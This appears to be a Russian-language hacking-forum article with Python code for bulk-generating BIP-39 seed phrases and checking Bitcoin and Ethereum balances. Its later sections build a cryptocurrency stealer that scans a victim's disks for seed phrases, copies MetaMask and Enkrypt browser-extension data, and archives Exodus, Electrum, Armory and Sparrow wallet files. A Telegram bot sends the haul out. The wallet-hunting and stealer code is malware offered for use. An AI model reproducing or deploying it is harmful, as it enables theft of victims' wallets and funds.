Главное — не просто копировать мой код, а самому погрузиться в тему, поковыряться в алгоритмах и разобраться, как всё работает. Я привёл достаточно наглядных примеров, разжевал шифрование — от seco до генерации хеша Argon2, — так что это, на мой взгляд, неплохая база для тех, кто хочет копнуть глубже.
Генерация и проверка баланса seed фраз
Теперь давай поговорим про генерацию seed-фраз, тут тоже есть, где развернуться! Для начала разберём, как добывать списки реальных фраз, чтобы понять, с чем имеем дело, а потом я покажу, как генерировать кошельки на их основе и проверять баланс. В качестве примеров затрону только Ethereum и Bitcoin, чтобы не растягивать статью до бесконечности.
Реалистичные seed-фразы можно генерировать, опираясь на списки слов, которые используются в стандарте BIP-39. Список слов можно скачать из репозитория: bip-0039. Это тот самый стандарт, где лежит словарь из 2048 слов, из которых и собираются фразы на 12, 18 или 24 слова.
Каждое слово в списке соответствует кусочку случайных данных, а их порядок формирует уникальный ключ. Для начала можно просто скачать этот список и использовать его, чтобы создавать правдоподобные комбинации.
Но тут есть нюанс: настоящая seed-фраза не просто набор случайных слов — в конце добавляется проверочная сумма, чтобы кошелёк мог убедиться, что фраза валидна. Так что просто мешать слова недостаточно, нужно учитывать алгоритм генерации. Давай разберём, как это сделать с помощью Python, и заодно посмотрим, как такие фразы можно применить для проверки кошельков!
Генерация самой фразы
Теперь давай разберёмся, как можно самостоятельно сгенерировать seed-фразу, по стандарту BIP-39. Конечно, для простоты можно воспользоваться готовой библиотекой mnemonic, которая делает всё за вас, подобным образом:
Python:
from mnemonic import Mnemonic
mnemo = Mnemonic("english")
words = mnemo.generate(strength=128)
print("Seed phrase:", words)
Вот мой код, который я написал, чтобы сгенерировать seed-фразу по стандарту BIP-39:
Python:
from mnemonic import Mnemonic
import random
import hashlib
import sys
WORD_COUNTS = {12: 128, 18: 192, 24: 256}
WORDLIST_PATH = "bip-0039_english.txt"
def load_bip39_wordlist():
with open(WORDLIST_PATH, 'r') as file:
words = [line.strip() for line in file if line.strip()]
return words
def create_entropy(word_count):
bits = WORD_COUNTS[word_count]
return random.randbytes(bits // 8)
def craft_mnemonic_phrase(word_count):
wordlist = load_bip39_wordlist()
entropy = create_entropy(word_count)
entropy_hash = hashlib.sha256(entropy).digest()
checksum_bits = word_count // 3
checksum = entropy_hash[0] >> (8 - checksum_bits)
entropy_bits = int.from_bytes(entropy, 'big')
combined = (entropy_bits << checksum_bits) | checksum
total_bits = word_count * 11
bit_string = bin(combined)[2:].zfill(total_bits)
phrase = []
for i in range(0, total_bits, 11):
chunk = bit_string[i:i+11]
index = int(chunk, 2)
phrase.append(wordlist[index])
return ' '.join(phrase)
def main():
word_count = 12
if len(sys.argv) > 1:
word_count = int(sys.argv[1])
mnemonic = craft_mnemonic_phrase(word_count)
verifier = Mnemonic("english")
is_valid = verifier.check(mnemonic)
print(f"Here's your {word_count}-word mnemonic phrase: {mnemonic}")
print(f"Is it valid? {is_valid}")
return mnemonic
if __name__ == "__main__":
main()
Проверять я буду Linux, потому что мне так удобнее, да и для генерации фраз ос не имеет значения:
Сначала скрипт позволяет выбрать, сколько слов будет в вашей фразе: 12, 18 или 24. По умолчанию стоит 12, но вы можете задать другое число, передав его через командную строку, например, python bip39_seed_generator.py 24.
Дальше функция load_bip39_wordlist открывает файл bip-0039_english.txt, который вы можете скачать по ссылке https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt. Это стандартный список из 2048 слов, используемых в BIP-39. Скрипт читает файл построчно, убирает лишние пробелы и сохраняет слова в список.
Теперь к созданию энтропии. Функция create_entropy генерирует случайные байты с помощью random.randbytes. Количество бит энтропии зависит от числа слов: для 12 слов это 128 бит, что равно 16 байтам, для 18 слов — 192 бита или 24 байта, а для 24 слов — 256 бит или 32 байта.
Самая интересная часть происходит в функции craft_mnemonic_phrase. Она берёт список слов и сгенерированную энтропию, а затем превращает её в фразу по правилам BIP-39. Сначала вычисляется контрольная сумма: энтропия хешируется через SHA-256, и из получившегося хеша берутся первые биты. Их количество зависит от длины фразы: для 12 слов — 4 бита, для 18 — 6 бит, для 24 — 8 бит. Это вычисляется как word_count // 3, потому что стандарт BIP-39 добавляет к энтропии проверочные биты, чтобы кошелёк мог проверить валидность фразы. Например, для 12 слов к 128 битам энтропии добавляются 4 бита контрольной суммы, итого 132 бита.
Дальше энтропия переводится в большое целое число, к которому слева добавляются биты контрольной суммы. Теперь у нас есть строка бит длиной, например, 132 бита для 12 слов. Эта строка разбивается на куски по 11 бит, потому что каждое слово в списке BIP-39 соответствует 11-битному индексу от 0 до 2047. Каждый кусок преобразуется в число, и по этому числу из списка слов выбирается соответствующее слово. Например, если кусок бит равен 1011 в двоичной системе, это 11 в десятичной, и скрипт возьмёт 12-е слово из списка (нумерация начинается с 0). Слова склеиваются через пробел, и вот она — ваша seed-фраза! После этого скрипт проверяет её валидность с помощью библиотеки mnemonic.
Я решил сделать генерацию seed-фраз более практичной, чтобы не просто показать, как это работает, а создать инструмент, который реально можно использовать. Так появился мой новый Python-скрипт, который не только генерирует мнемоники, но и сохраняет их в файл, а для скорости я добавил многопоточность.
Мой код:
Python:
import random
import hashlib
from mnemonic import Mnemonic
from concurrent.futures import ThreadPoolExecutor, as_completed
import sys
import os
WORD_COUNTS = {12: 128, 18: 192, 24: 256}
WORDLIST_PATH = "bip-0039_english.txt"
SEEDS_FILE = "seeds.txt"
MAX_WORKERS = 4
def load_bip39_wordlist():
with open(WORDLIST_PATH, 'r') as file:
return [line.strip() for line in file if line.strip()]
def load_existing_phrases():
try:
if os.path.exists(SEEDS_FILE):
with open(SEEDS_FILE, 'r') as file:
return set(line.strip() for line in file if line.strip())
return set()
except Exception as e:
print(f"Ошибка при чтении {SEEDS_FILE}: {e}")
return set()
def create_entropy(word_count):
bits = WORD_COUNTS[word_count]
return random.randbytes(bits // 8)
def craft_mnemonic_phrase(word_count, existing_phrases):
wordlist = load_bip39_wordlist()
verifier = Mnemonic("english")
while True:
entropy = create_entropy(word_count)
entropy_hash = hashlib.sha256(entropy).digest()
checksum_bits = word_count // 3
checksum = entropy_hash[0] >> (8 - checksum_bits)
entropy_bits = int.from_bytes(entropy, 'big')
combined = (entropy_bits << checksum_bits) | checksum
total_bits = word_count * 11
bit_string = bin(combined)[2:].zfill(total_bits)
phrase = []
for i in range(0, total_bits, 11):
chunk = bit_string[i:i+11]
index = int(chunk, 2)
phrase.append(wordlist[index])
mnemonic = ' '.join(phrase)
if mnemonic not in existing_phrases and verifier.check(mnemonic):
return mnemonic
def save_mnemonic(mnemonic):
try:
with open(SEEDS_FILE, 'a') as file:
file.write(mnemonic + '\n')
except Exception as e:
print(f"Ошибка при записи в {SEEDS_FILE}: {e}")
def generate_and_save(word_count, existing_phrases):
mnemonic = craft_mnemonic_phrase(word_count, existing_phrases)
save_mnemonic(mnemonic)
return mnemonic
def main():
word_count = 12
num_phrases = 2000
if len(sys.argv) > 1:
word_count = int(sys.argv[1])
if len(sys.argv) > 2:
num_phrases = int(sys.argv[2])
if word_count not in WORD_COUNTS:
print(f"Ошибка: поддерживаются только фразы из 12, 18 или 24 слов")
return
existing_phrases = load_existing_phrases()
with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
futures = [
executor.submit(generate_and_save, word_count, existing_phrases)
for _ in range(num_phrases)
]
for future in as_completed(futures):
mnemonic = future.result()
existing_phrases.add(mnemonic)
print(f"Сгенерирована фраза: {mnemonic}")
if __name__ == "__main__":
main()
Проверяем:
Механизм генерации фраз остался тем же, что я описывал выше, повторять это не буду, но вот что нового: я добавил возможность генерировать несколько фраз, сохранять их в seeds.txt и ускорил процесс через многопоточность, чтобы генерировать сразу кучу фраз параллельно.
Скрипт стартует с загрузки существующих фраз из seeds.txt, чтобы не плодить дубликаты. Функция load_existing_phrases читает файл и возвращает множество фраз. Затем код смотрит на входные параметры: word_count (по умолчанию 12) и num_phrases (по умолчанию 2000), которые можно задать через аргументы командной строки. Еще из нового готовую фразу функция save_mnemonic дописывает в seeds.txt, чтобы ничего не потерялось.
А теперь изюминка — многопоточность. Я использовал ThreadPoolExecutor с четырьмя потоками (число можно поменять в MAX_WORKERS), чтобы фразы генерировались параллельно.
Создание адресов из seed-фраз
Когда я рассказал, как генерировать seed-фразы, давай быстро пробежимся по созданию адресов для криптокошельков BTC и ETH.
Всё начинается с мнемоники — набора из 12 или 24 слов, который следует стандарту BIP-39. Но адрес из этого напрямую не сделаешь, поэтому фраза — лишь стартовая точка. Сначала её нужно превратить в бинарный сид, основу для всех ключей. Для этого используется функция PBKDF2, криптографический инструмент, который многократно (2048 раз!) перемешивает фразу с солью. В итоге PBKDF2 выдаёт 512-битный сид.
Теперь сид — это наш фундамент, но адреса сами по себе не появляются. Тут в игру вступает стандарт BIP-44, который задаёт путь, чтобы всё было организовано. Путь выглядит так: m / purpose' / coin_type' / account' / change / address_index.
Давай разберём, зачем это нужно для адреса. “m” — это мастер-ключ, который мы получим из сида. “Coin_type'” определяет валюту: 0 для Bitcoin, 60 для Ethereum, чтобы кошелёк знал, для чего мы генерируем адрес. “Account'” обычно 0, но позволяет разделять кошельки, например, один для сбережений, другой для трат. “Change” решает, для чего адрес: 0 для внешних, куда тебе шлют монеты, 1 для сдачи, куда возвращаются остатки после транзакций. “Address_index” — это счётчик, 0, 1, 2 и так далее, чтобы создавать кучу уникальных адресов для одной и той же фразы.
Из сида мы создаём мастер-ключ, используя HMAC-SHA512 — криптографическую функцию, которая берёт сид и “перемешивает” его с фиксированной строкой, деля результат на приватный ключ и цепочку кода. По пути BIP-44 мы шаг за шагом выводим дочерние ключи, тоже через HMAC-SHA512, пока не дойдём до нужного уровня, например, m/44'/0'/0'/0/0 для первого внешнего адреса Bitcoin.
На нужном уровне из приватного ключа, с ascended via secp256k1, выходит публичный ключ. Для Bitcoin его хешируют через SHA-256, затем RIPEMD-160, добавляют контрольную сумму и кодируют в Base58Check. Для Ethereum применяют Keccak-256, берут последние 20 байт и добавляют префикс "0x".
Инструмент для генерации адресов
Теперь я на практике покажу, как генерировать адреса для Bitcoin и Ethereum. А именно напишу код на Python для этой задачи. Можно было бы заморочиться и писать всё с нуля, но зачем, если есть отличная библиотека bip_utils, которая уже поддерживает все стандарты, вроде BIP-39 и BIP-44, и делает жизнь проще. Я решил использовать её чтобы получить адреса, и сейчас разберу, как это работает.
Вот сам код:
Python:
import bip_utils
from bip_utils import Bip39SeedGenerator, Bip44, Bip44Coins, Bip44Changes
def bip44(my_mnemonic, chain, depth):
try:
seed_bytes = Bip39SeedGenerator(my_mnemonic).Generate()
if chain == "btc":
bip44_ctx = Bip44.FromSeed(seed_bytes, Bip44Coins.BITCOIN)
elif chain == "eth":
bip44_ctx = Bip44.FromSeed(seed_bytes, Bip44Coins.ETHEREUM)
else:
print(f"Unsupported chain: {chain}")
return None, None
account = bip44_ctx.Purpose().Coin().Account(0).Change(Bip44Changes.CHAIN_EXT).AddressIndex(depth)
address = account.PublicKey().ToAddress()
private_key = account.PrivateKey().Raw().ToHex()
return address, private_key
except Exception as e:
print(f"Error in bip44: {e}")
return None, None
def main():
with open('seeds.txt', 'r') as file:
mnemonics = [line.strip() for line in file if line.strip()]
depth = 2
for mnemonic in mnemonics:
print(f"\nMnemonic: {mnemonic}")
btc_address, btc_private_key = bip44(mnemonic, "btc", depth)
print("BTC Address:", btc_address)
print("BTC Private Key:", btc_private_key)
eth_address, eth_private_key = bip44(mnemonic, "eth", depth)
print("ETH Address:", eth_address)
print("ETH Private Key:", eth_private_key)
if __name__ == "__main__":
main()
Проверяем:
Сначала мой код открывает файл seeds.txt, где лежат фразы, и считывает. Потом идет вызов функции bip44. Она принимает фразу, тип сети — btc или eth — и глубину пути (то есть индекс адреса), чтобы можно было генерировать несколько адресов для одного аккаунта.
Внутри функции bip44, сначала фраза превращается в бинарный сид. Затем код проверяет, что мы хотим: если сеть — btc, он создаёт контекст BIP-44 для Bitcoin, а если eth — для Ethereum, используя Bip44.FromSeed и Bip44Coins. Далее он следует стандарту BIP-44, выстраивая путь: берёт мастер-ключ, задаёт purpose' как 44', выбирает монету, аккаунт 0, внешнюю цепь и индекс адреса, который мы задали как depth.
После этого код из пути получает приватный и публичный ключи. После адреса и их приватные ключи просто выводятся.
Получение балансов адресов
Что же мы c вами разобрались, как получать адреса, самое время поговорить о том, как проверять балансы криптокошельков. Криптовалюты существуют на блокчейне — публичной базе данных, где каждая транзакция записана навсегда. Проверка баланса зависит от типа блокчейна. В случае Ethereum баланс, это просто текущее количество монет, привязанных к адресу в состоянии блокчейна. Для Bitcoin процесс чуть сложнее: нужно вычислить сумму всех непотраченных выходов транзакций, известных как UTXO, связанных с конкретным адресом.
Механизм проверки довольно прост. Берёшь адрес и вводишь его в сайт, приложение или свой код. Этот запрос отправляться к узлу блокчейна — компу который хранит все данные. Там он ищет инфу, чтобы выдать тебе. В Bitcoin узел просматривает всю историю транзакций, чтобы подсчитать сумму непотраченных UTXO, а результат приходит в satoshi — минимальной единице BTC. После этого полученное значение обычно конвертируется в более удобный формат, чтобы ты мог легко его прочитать.
Существуют сервисы, которые упрощают этот процесс. Например, Infura и Alchemy дают доступ к узлам Ethereum через API. Однако у них есть ограничение — около 100 тысяч запросов в сутки, так что для массовых проверок это может стать проблемой. Для Bitcoin похожую роль играет Blockstream.info, который тоже работает через API, но ограничивает частоту запросов примерно до 5 в секунду. Если вы не хотите тратить деньги на покупку API-ключей или сталкиваться с этими лимитами, можно пойти другим путём — развернуть собственные узлы. Правда, это требует немалых ресурсов: для Bitcoin узел займёт около 600 гигабайт на диске, а для Ethereum — примерно 800 гигабайт.
Но я, как человек, который не готов выложить 1,4 терабайта памяти чисто ради тестов для статьи, расскажу, как проверить баланс с помощью известных сайтов. Если ты хочешь самостоятельно развернуть ноду, переходи на getting-started и читай, как с помощью этого инструмента настроить ноду для Ethereum. Или, например, вот статьи про установку ноды для Bitcoin: одна на how-to-install-and-run-a-bitcoin-node-on-ubuntu-22-04, другая с официального сайта https://bitcoin.org/en/full-node. Там всё подробно объяснено, потому не бойтесь пробовать.
Инструменты дляпроверки балансов
Первым делом я написал код, чтобы проверять баланс кошелька Ethereum. Для этого я решил использовать mainnet.infura.io, о котором упоминал выше. Для взаимодействия с ним нужен infura_project_id — это идентификатор, который позволяет скрипту подключаться к блокчейну Ethereum через Infura.
Кратко расскажу, как получить ID для работы с https://infura.io.
Сначала надо создать аккаунт.
Для этого заполните параметры, вы можете использовать временную почту (к примеру, из https://tempmailo.com/), если не хотите указывать свою:
Далее на почту придет письмо, вы должны подтвердить ее, перейдя по ссылке, и заполнить данные:
Я указал, что я разработчик и это только для меня.
Далее заполните, для чего вам это нужно:
Теперь выберите план, я выбрал бесплатный:
Что ж, теперь вам надо просто перейти в раздел Infura RPC и скопировать ключ:
Вот сам код для получения балансов:
Python:
import json
import urllib.request
def get_eth_balance(address, infura_project_id):
url = f"https://mainnet.infura.io/v3/{infura_project_id}"
headers = {'Content-Type': 'application/json'}
data = {
"jsonrpc":"2.0",
"method":"eth_getBalance",
"params":[address, "latest"],
"id":1
}
req = urllib.request.Request(
url,
data=json.dumps(data).encode(),
headers=headers
)
with urllib.request.urlopen(req) as response:
result = json.loads(response.read().decode())
balance_wei = int(result['result'], 16)
balance_eth = balance_wei / 10**18
return balance_eth
Скрипт начинает работу с получения адреса кошелька и Infura ID. Затем он формирует запрос, используя метод eth_getBalance, в который передает адрес кошелька и тег latest для получения самой актуальной информации о балансе. С помощью модуля urllib.request скрипт собирает все необходимые компоненты — URL, данные и заголовки — и отправляет запрос на сервер Infura. В ответ сервер возвращает баланс в единицах wei, которые являются минимальными единицами ETH. Далее скрипт производит конвертацию, деля полученное значение на 10 в 18-й степени, чтобы перевести его в эфир.
Потом я написал код для проверки баланса биткоин-кошелька, для чего решил использовать blockstream.info. На нем можно не получать id для работы с блокчейн, а работать с ним на прямую.
Вот сам код:
Python:
import urllib.request
import json
def get_btc_balance(address):
url = f"https://blockstream.info/api/address/{address}"
try:
with urllib.request.urlopen(url) as response:
data = json.loads(response.read().decode())
confirmed = data['chain_stats']['funded_txo_sum'] - data['chain_stats']['spent_txo_sum']
unconfirmed = data['mempool_stats']['funded_txo_sum'] - data['mempool_stats']['spent_txo_sum']
total_satoshi = confirmed + unconfirmed
total_btc = total_satoshi / 1e8
return total_btc
except Exception as e:
print("Ошибка при получении баланса:", e)
return None
Для полноты картины я решил объединить генерацию seed-фраз с созданием адресов и проверкой балансов для Bitcoin и Ethereum в одном скрипте. Я использовал библиотеку bip_utils для работы с BIP-39 и BIP-44, urllib.request для запросов к API и ThreadPoolExecutor для ускорения через многопоточность.
Вот сам код:
Python:
import urllib.request
import json
from bip_utils import Bip39SeedGenerator, Bip44, Bip44Coins, Bip44Changes
from concurrent.futures import ThreadPoolExecutor, as_completed
BTC_API_URL = "https://blockstream.info/api/address/"
ETH_API_URL = "https://mainnet.infura.io/v3/"
INFURA_PROJECT_ID = "ваш id"
DERIVATION_DEPTH = 2
SEEDS_FILE = "seeds.txt"
SATOSHI_TO_BTC = 1e8
WEI_TO_ETH = 10**18
MAX_WORKERS = 4
def get_balance(address: str, chain: str) -> float:
try:
if chain == "btc":
url = f"{BTC_API_URL}{address}"
with urllib.request.urlopen(url) as response:
data = json.loads(response.read().decode())
confirmed = data["chain_stats"]["funded_txo_sum"] - data["chain_stats"]["spent_txo_sum"]
unconfirmed = data["mempool_stats"]["funded_txo_sum"] - data["mempool_stats"]["spent_txo_sum"]
return (confirmed + unconfirmed) / SATOSHI_TO_BTC
else:
url = f"{ETH_API_URL}{INFURA_PROJECT_ID}"
payload = json.dumps({
"jsonrpc": "2.0",
"method": "eth_getBalance",
"params": [address, "latest"],
"id": 1
}).encode()
req = urllib.request.Request(url, data=payload, headers={"Content-Type": "application/json"})
with urllib.request.urlopen(req) as response:
result = json.loads(response.read().decode())
return int(result["result"], 16) / WEI_TO_ETH
except Exception as e:
print(f"Ошибка при получении баланса {chain.upper()} для {address}: {e}")
return 0
def derive_address_and_key(mnemonic: str, chain: str, depth: int) -> tuple:
try:
seed_bytes = Bip39SeedGenerator(mnemonic).Generate()
coin_type = Bip44Coins.BITCOIN if chain == "btc" else Bip44Coins.ETHEREUM
bip44_ctx = Bip44.FromSeed(seed_bytes, coin_type)
account = bip44_ctx.Purpose().Coin().Account(0).Change(Bip44Changes.CHAIN_EXT).AddressIndex(depth)
return account.PublicKey().ToAddress(), account.PrivateKey().Raw().ToHex()
except Exception as e:
print(f"Ошибка в деривации для мнемоники '{mnemonic}': {e}")
return None, None
def process_mnemonic(mnemonic: str, depth: int) -> None:
print(f"\nMnemonic: {mnemonic}")
chains = ["btc", "eth"]
with ThreadPoolExecutor(max_workers=2) as executor:
futures = {}
for chain in chains:
address, private_key = derive_address_and_key(mnemonic, chain, depth)
if address and private_key:
futures[executor.submit(get_balance, address, chain)] = (chain, address, private_key)
for future in as_completed(futures):
chain, address, private_key = futures[future]
balance = future.result()
print(f"{chain.upper()} Address: {address}")
print(f"{chain.upper()} Private Key: {private_key}")
print(f"Баланс {chain.upper()}: {balance} {chain.upper()}")
def main() -> None:
try:
with open(SEEDS_FILE, "r") as file:
mnemonics = [line.strip() for line in file if line.strip()]
if not mnemonics:
return
except Exception as e:
print(f"Ошибка при чтении файла {SEEDS_FILE}: {e}")
return
with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
futures = [executor.submit(process_mnemonic, m, DERIVATION_DEPTH) for m in mnemonics]
for future in as_completed(futures):
future.result()
if __name__ == "__main__":
main()
Проверяем работает ли проверка баланса:
Скрипт начинает с того, что открывает файл seeds.txt, где лежат фразы, и загружает их в список. Затем он запускает главный движок: для каждой фразы в отдельном потоке вызывает функцию process_mnemonic, которая делает всю работу. Я ограничил число потоков четырьмя, чтобы не перегружать систему, но этого хватит для примера, да и вы можете указать больше в переменной MAX_WORKERS. Многопоточность нужна чтобы проверка балансов для разных фраз шла параллельно, а не по очереди — время-то деньги!
Внутри process_mnemonic, сначала для фразы генерируются адреса и приватные ключи для BTC и ETH через функцию derive_address_and_key. Она использует bip_utils, чтобы превратить фразу в бинарный сид через Bip39SeedGenerator, а затем по стандарту BIP-44 генерирует адреса.
Дальше скрипт в отдельных потоках запрашивает балансы: для Bitcoin через API blockstream.info, а для Ethereum через mainnet.infura.io с твоим Infura project ID. Для BTC код дёргает URL с адресом, получает JSON с данными о транзакциях, вычисляет подтверждённый и неподтверждённый баланс в сатоши и переводит его в BTC, деля на 10^8. Для ETH формируется JSON-RPC запрос с методом eth_getBalance, который отправляется на Infura. Ответ приходит в wei, в шестнадцатеричном виде, и код переводит его в ETH, деля на 10^18.
Инструмент поиска и отправки в бот seed фраз
Пришло время разобрать, как создать бота для поиска seed-фраз и отправки их в Telegram. Мой скрипт будет искать мнемонические фразы по регулярным выражениям, так же находит файлы популярных криптокошельков и передаёт всё в бот. Я не буду вываливать весь код, чтобы не перегружать статью, но объясню ключевые моменты, а полный исходник будут прикреплены к статье.
Создание бота
Прежде чем погрузиться в код, давай быстро разберём, как создать Telegram-бота. Всё начинается с BotFather — главного бота Telegram, который раздаёт ключи для новых ботов.
Открываешь чат с ним по ссылке https://t.me/BotFather и пишешь команду /start:
Дальше создаём бота:
Отправляешь /newbot, выбираешь имя, например, @SeedHunterBot, и подтверждаешь. BotFather выдаёт token — уникальный идентификатор, что-то вроде длинной строки символов. Этот token пригодится нам в коде для связи с Telegram API.
Клиент для поиска и отправки фраз
Теперь перейдём к клиенту и разберём его архитектуру, чтобы ты понял, как всё устроено и работает в связке. Мой клиент — модульный, и каждый модуль отвечает за свою задачу.
Всё работает в пяти файлах, каждый из которых делает свою часть работы:
Главный файл — main.py, главный файл, который управляет всем процессом. Он запускает поиск, принимает аргументы, определяет доступные диски, распределяет директории для сканирования, вызывает нужные функции и собирает результаты.
Далее telegram_bot.py берёт на себя взаимодействие с Telegram: он использует token и chat ID, чтобы отправлять найденные файлы с фразами в бот.
Файл get_plugin_wallet.py сосредоточен на поиске плагинов браузерных кошельков, таких как MetaMask или Enkrypt.
Теперь модуль seed_searcher.py, он отвечает за поиск мнемоник на компе с помощью регулярных выражений.
Наконец, get_wallets_file.py занимается десктопными кошельками: он ищет данные Exodus, Electrum, Armory и Sparrow в стандартных папках вроде AppData.
Модуль seed_searcher
Начну разбор инструмента с модулей поиска фраз. Первым расскажу про seed_searcher, он отвечает за поиск фраз на ПК. Большую часть его функций я взял из примера в начале статьи и доработал, чтобы искать seed-фразы на компе с большей точностью.
Начинается всё с основной логики поиска, которая опирается на регулярное выражение SEED_PATTERN, взятое из примера в начале статьи, но я добавил важную функциональность.
А именно проверку найденных фраз на соответствие словам из списка BIP-39:
Python:
def load_bip39_words():
bip39_file = 'bip-0039_english.txt'
try:
with open(bip39_file, 'r', encoding='utf-8') as file:
return {line.strip().lower() for line in file if line.strip()}
except FileNotFoundError:
return set()
BIP39_WORDS = load_bip39_words()
def is_valid_bip39_phrase(seed_phrase):
if not BIP39_WORDS:
return True
words = seed_phrase.split()
return all(word.lower() in BIP39_WORDS for word in words)
Для этого написал функцию load_bip39_words, которая загружает список слов из файла bip-0039_english.txt и превращает его в множество для быстрого поиска. Затем функция is_valid_bip39_phrase проверяет каждую найденную фразу, убеждаясь, что все слова есть в этом списке. Если хоть одно слово не из BIP-39, фраза отбрасывается.
Дальше я переосмыслил чтение файлов. В исходном примере функции для работы с разными форматами были встроены прямо в код, но я вынес их в отдельный словарь FILE_READERS, где для каждого расширения файла определена соответствующая функция:
Код:
FILE_READERS = {
'.txt': read_text_file,
'.md': read_text_file,
'.csv': read_text_file,
'.log': read_text_file,
'.json': read_text_file,
'.xml': read_text_file,
'.docx': read_docx_file,
'.pdf': read_pdf_file
}
Функции read_text_file, read_docx_file и read_pdf_file остались похожими, но я упростил обработку ошибок чтобы сосредоточиться на основном функционале.
Функция check_file тоже получила апгрейд:
Python:
def check_file(file_path, results_queue):
ext = file_path.suffix.lower()
reader = FILE_READERS.get(ext, lambda _: [])
lines = reader(file_path)
for line in lines:
if not line.strip():
continue
match = SEED_PATTERN.match(line)
if not match:
continue
seed_phrase = match.group().strip()
if is_valid_bip39_phrase(seed_phrase):
results_queue.put((file_path, seed_phrase))
logging.info(f"Found: {file_path} | {seed_phrase}")
Что касается сканирования директорий, функция scan_directory в моем коде осталась похожей на исходную, но я убрал зависимость от многопоточности и модуля concurrent.futures, чтобы упростить структуру.
Модуль get_plugin_wallet.py
Теперь разберу get_plugin_wallet.py — модуль, который отвечает за поиск плагинов браузерных кошельков вроде MetaMask и Enkrypt. Его я построил на основе примера из раздела статьи о поиске плагинов криптокошельков, но доработал, чтобы он стал чище и удобнее.
Для начала я переработал функцию locate_extension_by_keyword:
Python:
def locate_extension_by_keyword(keyword: str, base_path: str) -> str | None:
for eid in Path(base_path).iterdir():
if not eid.is_dir():
continue
for version in eid.iterdir():
manifest = version / "manifest.json"
if manifest.is_file():
with open(manifest, "r", encoding="utf-8") as f:
if keyword.lower() in json.dumps(json.load(f)).lower():
logging.info(f"Match for '{keyword}' in ID: {eid.name}")
return eid.name
return None
Сортировку профилей Chrome, учитывающую “Default”, я сохранил, но сделал через list comprehension для компактности. Главные изменения коснулись обработки профилей и расширений.
К примеру, вынес логику обработки каждого профиля в отдельную функцию process_profile_wallet, принимающую очередь для результатов:
Python:
def process_profile_wallet(profile: str, queue):
chrome_root = Path(f"C:/Users/{getuser()}/AppData/Local/Google/Chrome/User Data")
extensions = {
"Enkrypt": "kkpllkodjeloidieedojogacfhpaihoh",
"Metamask": "nkbihfbeogaeaoehlefnkodbefgpgknn"
}
ts = datetime.now().strftime("%Y%m%d_%H%M%S")
temp_dir = Path(f"temp_{ts}_{profile}")
zip_path = Path(f"wallet_plugins_{ts}_{profile}.zip")
temp_dir.mkdir(exist_ok=True)
ext_dir = chrome_root / profile / "Extensions"
db_paths = {
"Enkrypt": chrome_root / profile / f"IndexedDB/chrome-extension_{extensions['Enkrypt']}_0.indexeddb.leveldb",
"Metamask": chrome_root / profile / f"Local Extension Settings/{extensions['Metamask']}"
}
logging.info(f"Scanning {profile}")
for name, eid in extensions.items():
current_ext = ext_dir / eid
db_path = db_paths[name]
if not current_ext.exists():
found = locate_extension_by_keyword(name, ext_dir)
if found:
extensions[name] = found
current_ext = ext_dir / found
db_path = db_path.with_stem(db_path.stem.replace(eid, found))
logging.info(f"{name} ID updated: {found}")
else:
continue
if db_path.exists():
target = temp_dir / f"{name}_{profile}"
target.mkdir(exist_ok=True)
shutil.copytree(db_path, target / db_path.name, dirs_exist_ok=True)
logging.info(f"Copied {name} from {profile}")
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as z:
for file in temp_dir.rglob("*"):
if file.is_file():
z.write(file, Path("Extensions") / file.relative_to(temp_dir))
logging.info(f"Created archive: {zip_path}")
queue.put(zip_path)
shutil.rmtree(temp_dir, ignore_errors=True)
logging.info(f"Cleaned temp: {profile}")
В исходнике вся логика была в функции create_backup, что делало код тяжёлым. Я выделил обработку в отдельную функцию process_profile_wallet, которая принимает профиль и очередь для результатов. Она проверяет папки Chrome, ищет расширения по ID, а если их нет, зовёт locate_extension_by_keyword. Данные из папок, таких как IndexedDB или Local Extension Settings, копируются во временную папку, названную по текущей дате и времени. Я добавил dirs_exist_ok=True в shutil.copytree, чтобы избежать ошибок при существующих папках. Всё пакуется в ZIP-архив, путь к которому отправляется в очередь, а временная папка удаляется.
Модуль get_wallets_file.py
Перейдём к get_wallets_file.py — модулю, который я написал с нуля, чтобы искать файлы десктопных криптокошельков и паковать их в архивы для отправки.
Вот код:
Python:
import zipfile
from getpass import getuser
from pathlib import Path
username = getuser()
def check_and_archive_exodus():
exodus_path = Path(f"C:/Users/{username}/AppData/Roaming/Exodus/exodus.wallet")
if not exodus_path.is_dir():
print(f"Exodus wallet directory not found: {exodus_path}")
return
archive_name = "no_encrypt_exodus.zip" if (exodus_path / "passphrase.json").is_file() else "encrypt_exodus.zip"
script_dir = Path(__file__).parent
archive_path = script_dir / archive_name
with zipfile.ZipFile(archive_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
for file in exodus_path.rglob("*"):
if file.is_file():
zipf.write(file, file.relative_to(exodus_path.parent))
print(f"Archive created successfully: {archive_name}")
def check_and_archive_electrum():
electrum_paths = [
Path(f"C:/Users/{username}/AppData/Roaming/Electrum/wallets"),
Path(f"C:/Users/{username}/AppData/Roaming/Electrum/testnet/wallets")
]
script_dir = Path(__file__).parent
archive_path = script_dir / "electrum_wallets.zip"
with zipfile.ZipFile(archive_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
for path in electrum_paths:
if path.is_dir():
for file in path.rglob("*"):
if file.is_file():
zipf.write(file, file.relative_to(path.parent))
elif path.is_file():
zipf.write(path, path.name)
print(f"Archive created successfully: electrum_wallets.zip")
def check_and_archive_armory():
armory_path = Path(f"C:/Users/{username}/AppData/Roaming/Armory")
script_dir = Path(__file__).parent
archive_path = script_dir / "armory_wallets.zip"
with zipfile.ZipFile(archive_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
for file in armory_path.rglob("*"):
if file.is_file() and file.suffix in {".wallet", ".lmdb"}:
zipf.write(file, file.relative_to(armory_path))
print(f"Archive created successfully: armory_wallets.zip")
def check_and_archive_sparrow():
sparrow_path = Path(f"C:/Users/{username}/AppData/Roaming/Sparrow/wallets")
script_dir = Path(__file__).parent
archive_path = script_dir / "sparrow_wallets.zip"
with zipfile.ZipFile(archive_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
for file in sparrow_path.rglob("*"):
if file.is_file():
zipf.write(file, file.relative_to(sparrow_path))
print(f"Archive created successfully: sparrow_wallets.zip")
